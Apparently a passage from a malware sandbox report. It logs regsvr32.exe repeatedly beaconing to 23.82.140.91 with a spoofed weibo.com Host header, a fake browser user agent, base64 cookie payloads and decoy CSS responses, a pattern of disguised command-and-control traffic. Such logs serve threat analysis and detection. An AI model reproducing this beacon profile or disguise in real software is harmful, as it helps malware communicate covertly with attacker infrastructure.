Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:08:06 UTC 1135 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

49 192.168.2.6 49825 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:08:07 UTC 1137 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=ZGtpbGZrZnBuY25jYWNhZWFvZ2VqZ2htaWNuY2xlbmxrY2phaWhlb2RsZGNhb25va2djZW
5wZmJpaWxicGJjaWphYmtubGpqaWhrbG5jZmNubWxqbmtjbmhtaGFmbGNrYmJjYWJjaGpwaG5nbm5raG1va2pnYWNj
bW1jbnBnZWZpaWhmampkaWppZ2Fub21pY25raGVhcGVwbG1sa2tubmZja2ZlaGtkbWNiam5tYnBobWtwY2ZuamVkYW
FnaGNkbW1wcHBuZ2NmbGpoa29hY2xvZGJpY2psaGxvcGFmb2lrYm1vZWpibWVuZmlnZm1oZGdob2VpZG
5nbWpsaGFsYQ==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:08:07 UTC 1137 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:08:07 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:08:07 UTC 1137 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

5 192.168.2.6 49766 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:07:12 UTC 941 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Y3BsZGVvZ3BmamtpaWxwbGtwbWhlZ2NoaG9hZW9rZGtnanBpb2VnYmJlYmxqaW9hY29hbW
ZjYmNvY2FkZm9ubGtiaGVpZmFicGxiY2xkZm9kZ2tmbWphY2VsbWdkYm1uZmJhZ21na2duZWlna2RkbGlpZ2hsaW1t
b2hkbWZpamVjZ2hvZ2ZtZGpiYW1ubm9rZWNpaGljbG1hYWFjYW9tZWNtZ3BhZWZpbGptZWVwa2tlbWNoY2ZlZGlqaG
FnZmtqb2dlaGdrYmVjamRlam5ub2FoY2pka2lkZ2prZWtlb2prbmptYmFsY2lwZ2FtZGVub2ptZGppaWRrbW5nZGZvZw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:07:13 UTC 984 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:07:13 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:07:13 UTC 984 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

50 192.168.2.6 49826 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:08:08 UTC 1139 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Y3BsZGVvZ3BmamtpaWxwbGtwbWhlZ2NoaG9hZW9rZGtnanBpb2VnYmJlYmxqaW9hY29hbW
ZjYmNvY2FkZm9ubGtiaGVpZmFicGxiY2xkZm9kZ2tmbWphY2VsbWdkYm1uZmJhZ21na2duZWlna2RkbGlpZ2hsaW1t
b2hkbWZpamVjZ2hvZ2ZtZGpiYW1ubm9rZWNpaGljbG1hYWFjYW9tZWNtZ3BhZWZpbGptZWVwa2tlbWNoY2ZlZGlqaG
FnZmtqb2dlaGdrYmVjamRlam5ub2FoY2pka2lkZ2prZWtlb2prbmptYmFsY2lwZ2FtZGVub2ptZGppaWRrbW5nZGZvZw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:08:08 UTC 1140 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:08:08 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:08:08 UTC 1140 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

51 192.168.2.6 49829 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:08:11 UTC 1142 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Z2xtY29oYmhra2NqbWxpbWpiaWRlaXBnYmplbmlkZGVnb29tY25vaWZraGNsY2lsZ29vcG
psYnBocGRlZGNhaWtkY2ppYmdnb2xsbm9sZ2RkZmZvamRhY2JkbG5jbmlua2ljZWlvYmJubmFkbWFrYmJmaGxjZW1t
ZnBia3BuZmVkYmtrbWZraWJjbGZnYmpwZmdlYmpjamZmamxqcGNvamlsaGFrZ2RoaGFibW9lbWFwZXBtYWtuaG5qYm
NibXBjbWdla2dmaWdlb2JnZ2pnZWVpYWhqcHBwYWJmbmlvamNqYm9rZmxwZ2lobWFka2thb2xvamVrZG
NmbmZkbWduaA==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:08:11 UTC 1143 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:08:11 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:08:11 UTC 1143 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

52 192.168.2.6 49831 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:08:11 UTC 1142 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=aGZkb2xjZmhhZmpqamFkZW1ubGhmb25vbW9oY2xjYWliYmhrZmJqaWhkb2VwcGFqZGhiZW
5hYm5laWhtaGdtaWZkb2Vsb2ZsbWNqZmZjaGZjbGJwZWFqcGFmZm5kZWZmamxjaWxtYnBua25jaWxtb2Rtb2JrcGxj
Z25lZWdla25vbWtkamRmZ25jYnBpZGljaGpoZmNpbWljYW5oa2hva2ljYWtvbWpmZmNhZWxoZ25uZWZpbmhkZG9jbm
hla2FmY2tnbXBva2VsbG9samFlbm9jcGhsa2lla2VnbWdmZG5vZWJpZGxiZGptcGdobWJnY2lwZmlqb2Njb2NqbmFpaw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:08:11 UTC 1145 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:08:11 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:08:11 UTC 1145 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

53 192.168.2.6 49835 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:08:12 UTC 1147 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=ZGtpbGZrZnBuY25jYWNhZWFvZ2VqZ2htaWNuY2xlbmxrY2phaWhlb2RsZGNhb25va2djZW
5wZmJpaWxicGJjaWphYmtubGpqaWhrbG5jZmNubWxqbmtjbmhtaGFmbGNrYmJjYWJjaGpwaG5nbm5raG1va2pnYWNj
bW1jbnBnZWZpaWhmampkaWppZ2Fub21pY25raGVhcGVwbG1sa2tubmZja2ZlaGtkbWNiam5tYnBobWtwY2ZuamVkYW
FnaGNkbW1wcHBuZ2NmbGpoa29hY2xvZGJpY2psaGxvcGFmb2lrYm1vZWpibWVuZmlnZm1oZGdob2VpZG
5nbWpsaGFsYQ==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:08:12 UTC 1148 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:08:12 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:08:12 UTC 1148 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

54 192.168.2.6 49837 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:08:12 UTC 1147 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Y3BsZGVvZ3BmamtpaWxwbGtwbWhlZ2NoaG9hZW9rZGtnanBpb2VnYmJlYmxqaW9hY29hbW
ZjYmNvY2FkZm9ubGtiaGVpZmFicGxiY2xkZm9kZ2tmbWphY2VsbWdkYm1uZmJhZ21na2duZWlna2RkbGlpZ2hsaW1t
b2hkbWZpamVjZ2hvZ2ZtZGpiYW1ubm9rZWNpaGljbG1hYWFjYW9tZWNtZ3BhZWZpbGptZWVwa2tlbWNoY2ZlZGlqaG
FnZmtqb2dlaGdrYmVjamRlam5ub2FoY2pka2lkZ2prZWtlb2prbmptYmFsY2lwZ2FtZGVub2ptZGppaWRrbW5nZGZvZw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:08:12 UTC 1150 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:08:12 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:08:12 UTC 1150 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

55 192.168.2.6 49853 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:08:15 UTC 1152 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Z2xtY29oYmhra2NqbWxpbWpiaWRlaXBnYmplbmlkZGVnb29tY25vaWZraGNsY2lsZ29vcG
psYnBocGRlZGNhaWtkY2ppYmdnb2xsbm9sZ2RkZmZvamRhY2JkbG5jbmlua2ljZWlvYmJubmFkbWFrYmJmaGxjZW1t
ZnBia3BuZmVkYmtrbWZraWJjbGZnYmpwZmdlYmpjamZmamxqcGNvamlsaGFrZ2RoaGFibW9lbWFwZXBtYWtuaG5qYm
NibXBjbWdla2dmaWdlb2JnZ2pnZWVpYWhqcHBwYWJmbmlvamNqYm9rZmxwZ2lobWFka2thb2xvamVrZG
NmbmZkbWduaA==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:08:15 UTC 1152 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:08:15 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:08:15 UTC 1152 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

56 192.168.2.6 49858 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:08:16 UTC 1154 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=ZGtpbGZrZnBuY25jYWNhZWFvZ2VqZ2htaWNuY2xlbmxrY2phaWhlb2RsZGNhb25va2djZW
5wZmJpaWxicGJjaWphYmtubGpqaWhrbG5jZmNubWxqbmtjbmhtaGFmbGNrYmJjYWJjaGpwaG5nbm5raG1va2pnYWNj
bW1jbnBnZWZpaWhmampkaWppZ2Fub21pY25raGVhcGVwbG1sa2tubmZja2ZlaGtkbWNiam5tYnBobWtwY2ZuamVkYW
FnaGNkbW1wcHBuZ2NmbGpoa29hY2xvZGJpY2psaGxvcGFmb2lrYm1vZWpibWVuZmlnZm1oZGdob2VpZG
5nbWpsaGFsYQ==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:08:16 UTC 1155 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:08:16 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:08:16 UTC 1155 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

57 192.168.2.6 49865 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:08:16 UTC 1157 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Y3BsZGVvZ3BmamtpaWxwbGtwbWhlZ2NoaG9hZW9rZGtnanBpb2VnYmJlYmxqaW9hY29hbW
ZjYmNvY2FkZm9ubGtiaGVpZmFicGxiY2xkZm9kZ2tmbWphY2VsbWdkYm1uZmJhZ21na2duZWlna2RkbGlpZ2hsaW1t
b2hkbWZpamVjZ2hvZ2ZtZGpiYW1ubm9rZWNpaGljbG1hYWFjYW9tZWNtZ3BhZWZpbGptZWVwa2tlbWNoY2ZlZGlqaG
FnZmtqb2dlaGdrYmVjamRlam5ub2FoY2pka2lkZ2prZWtlb2prbmptYmFsY2lwZ2FtZGVub2ptZGppaWRrbW5nZGZvZw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

